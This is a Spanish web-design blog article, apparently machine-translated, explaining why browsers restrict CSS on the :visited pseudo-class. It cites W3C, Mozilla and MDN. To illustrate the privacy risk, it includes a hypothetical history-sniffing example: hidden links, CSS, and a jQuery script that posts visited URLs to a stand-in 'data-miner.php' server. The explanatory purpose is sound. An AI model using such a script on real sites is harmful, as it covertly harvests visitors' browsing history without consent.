Por qué la pseudoclase visitada es extraña

Los navegadores modernos han restringido severamente las propiedades CSS que los desarrolladores pueden usar en una regla de estilo que usa la :visited enlace pseudo-clase. Si no está familiarizado con esta pseudoclase excéntrica, es posible que se pregunte por qué los enlaces visitados de su sitio no se muestran como se esperaba.

Si intenta modificar el estilo de los enlaces visitados dándoles un background-image, por ejemplo, se sorprenderá de que ya no pueda hacerlo en los navegadores modernos. Puede pensar que es un error del navegador porque no hay una razón obvia inmediata por la que el siguiente CSS no funcione:

/* this will not work as expected */
a:visited {
  display: block;
  background-image: url("cat.jpg");
}

Si usamos cualquier otra pseudoclase, como, por ejemplo, la :hover pseudoclase: las propiedades de estilo funcionan como se esperaba.

/* this is perfectly fine */
a:hover {
  display: block;
  background-image: url("cat.jpg");
}

Actualmente, parece como la única propiedad que puede asignar a la :visited pseudo-clase es la color propiedad. Ah, y el navegador con toda probabilidad no representará el color con una transparencia alfa incluso si lo especifica correctamente con una unidad de color estándar como rgba.

Extraño, ¿verdad? ¿Qué pasa?

Las especificaciones del W3C para las pseudoclases de enlaces técnicamente dan a los navegadores web la opción de ignorar nuestras :link y :visited reglas de estilo de pseudo-clase. Esto se debe a que :visited pseudo-clase puede ser potencialmente abusado de tal manera que un abusador pueda obtener datos sobre el historial de navegación de sus visitantes.

Es posible que los autores de hojas de estilo abusen del enlace y las pseudoclases visitadas para determinar qué sitios ha visitado un usuario sin el consentimiento del usuario.

Por lo tanto, los UA pueden tratar todos los enlaces como enlaces no visitados, o implementar otras medidas para preservar la privacidad del usuario y, al mismo tiempo, mostrar los enlaces visitados y no visitados de manera diferente «.

Fuente: Selectores Nivel 3: Las pseudoclases de enlace:: enlace y: visitado

(En caso de que se lo pregunte: en el extracto anterior, el término «UA» se refiere a «agentes de usuario», que es un software que se utiliza para acceder a un sitio web. El tipo más común de UA es un navegador web).

Cómo podría verse comprometido el historial de navegación de un usuario

Para explicar la razón por la que no puede usar todas las propiedades CSS con la :visited pseudoclase, I will attempt to explain it through a hypothetical situation.

Modern browsers no longer allow the background-image propiedad para renderizar.

Sin embargo, supongamos que, en esta situación hipotética, un navegador web permite y representa la background-image propiedad.

Sin las precauciones adecuadas, un abusador del :visited pseudoclase could place a list of <a> elementos en una página web que apuntan a sitios web particulares y luego los ocultan al visitante de la página:

HTML

<a href="https://www.google.com">Hidden link</a>
<a href="https://www.facebook.com/">Hidden link</a>
<a href="https://dribbble.com/">Hidden link</a>
...

Estas <a> los elementos podrían luego ocultarse usando CSS.

El navegador no puede procesar el background-image propiedad por sí misma en el lado del cliente, tiene que descargar un activo de algún servidor web para representar la propiedad según lo especificado por el autor de CSS. Llamemos a este activo externo «visitado.jpg».

CSS

a:link {
  /* Hide the links visually */
  display: none;
  background-image: none;
}
a:visited {
  /* give visited links a background image  */
  background-image: url("http://some.server/visited.jpg");
}

Luego, usando JavaScript, todos los enlaces de la página web se pueden recorrer para determinar si tiene o no el fondo «visitado.jpg».

Si un enlace tiene el fondo «visitado.jpg», entonces es una pista de que el usuario ha visitado la URL. Una lista de las URL visitadas, junto con otra información, como la dirección IP del usuario, se puede enviar a un script del lado del servidor para su procesamiento. En el siguiente ejemplo, jQuery se usa para lograr algo de esta naturaleza.

JavaScript / jQuery

 $(document).ready(function() {
    // The property value that hints the link has been visited
    var VisitedBg = "url(http://some.server/visited.jpg)";
    // An array that stores visited URLS
    var URLsVisited = [];
    // Loop through all links in the web page
    $('a').each(function() {
      // Check if the current link's background is equal to// visited.jpg
      if( $(this).css('background-image') == VisitedBg ) {
        // Put this link in the array because// it has been visited
        URLsVisited.push( $(this).attr('href') );
      }
    });
    // Send the list of visited URLs to a PHP script// For processing and storage
    $.ajax({
      type: 'post',
      url: 'http://some.server/data-miner.php',
      data: { 'URLsVisited': URLsVisited }
    });
  });

Aquí hay una explicación más detallada del problema de privacidad en Mozilla.org.

Además de limitar las propiedades CSS que se renderizarán cuando se utilicen con el :visited pseudo-clase, funciones de JavaScript como getComputedStyle() y querySelector() cuando se utiliza en enlaces que coinciden con el :visited selector devolverá valores de tal manera que los enlaces visitados y no visitados no se puedan distinguir.

El problema para los desarrolladores: sin estándares

En este momento, no existe un estándar con respecto a qué propiedades CSS se pueden usar con el :visited selector de pseudo-clases, por lo que actualmente existe esta inconsistencia e incertidumbre cuando se trata de diseñar enlaces visitados.

Incluso las futuras especificaciones de CSS del W3C no nos dan claridad. En el borrador actual de CSS4, los navegadores todavía tienen rienda suelta sobre cómo tratar :visited y :link pseudo clases:

«Por lo tanto, los UA pueden tratar todos los enlaces como enlaces no visitados, o implementar otras medidas para preservar la privacidad del usuario al mismo tiempo que representan los enlaces visitados y no visitados de manera diferente».

Fuente: Selectores Nivel 4: El historial de enlaces Pseudoclases:: enlace y: visitado

El artículo al que me vinculé anteriormente en un blog de Mozilla.org que explica el problema de la privacidad dice esto:

Estamos limitando las propiedades CSS que se pueden usar para diseñar enlaces visitados en color, color de fondo, color de borde – * – y color de contorno y las partes de color de las propiedades de relleno y trazo.

Fuente: cambios relacionados con la privacidad que vienen a CSS: visitado

La documentación oficial de la :visited pseudo-clase en Mozilla Developer Network dice:

«Nota: Por motivos de privacidad, los navegadores limitan estrictamente los estilos que puede aplicar utilizando un elemento seleccionado por esta pseudoclase: solo color, background-color, border-color, border-bottom-color, border-left-color, border- color derecho, color de borde superior, color de contorno, color de regla de columna, relleno y trazo «.

Fuente: : visitado – CSS | MDN

Sin embargo, cuando prueba las propiedades permitidas de Mozilla en la versión más reciente de Firefox, solo las color Obras inmobiliarias.

Por lo tanto, incluso los documentos oficiales y las publicaciones de blogs de los proveedores de navegadores no son concluyentes.

Internet Explorer es el más definitivo. Pero estoy usando ese término libremente. En una oscura documentación de MSDN sobre los mensajes de error de las herramientas de la consola del desarrollador, hay una entrada en el SEC7115 código de error. El mensaje de error es este:

“: Visitado y: los estilos de enlace solo pueden diferir según el color. Algunos estilos no se aplicaron a: visitados «.

Fuente: Mensajes de error de la consola de herramientas para desarrolladores F12 (Windows)

Y la solución sugerida para resolver el mensaje de error es:

«Cambie solo el atributo de color».

Fuente: Mensajes de error de la consola de herramientas para desarrolladores F12 (Windows)

Lo anterior, al menos indirectamente, implica que Internet Explorer se ha posicionado en el :visited pseudo-clase. El navegador solo aplicará color Propiedad CSS.

Conclusión

En este momento, la tendencia en los navegadores web es que solo el color propiedad especificada en un :visited Se renderizará el selector. Cualquier otra propiedad CSS será ignorada.

contenido relacionado

Facebooktwitterlinkedintumblr

Deja un comentario

cuatro × 5 =

PowebDesign

© All rights reserved 2016 PowebDesign

Realizado ❤ en WordPress

Precios anti covid!

pagina web 230€

  • Web de 5 páginas: Inicio, quienes somos, contacto, productos etc..
  • Creada con WordPress para que la puedas ampliar.
  • No cobramos hasta que estés conforme con nuestro trabajo.

tienda online 300€

  • Autogestionada: Te mando un videotutorial para que aprendas a subir tus propios productos.
  • Sin letra pequeña: Dominio y hosting incluido el primer año, después 75€ al año.
  • Pasarela de pago, diseño y 10 primeros productos incluidos. Alta en Google Incluida.
Abrir chat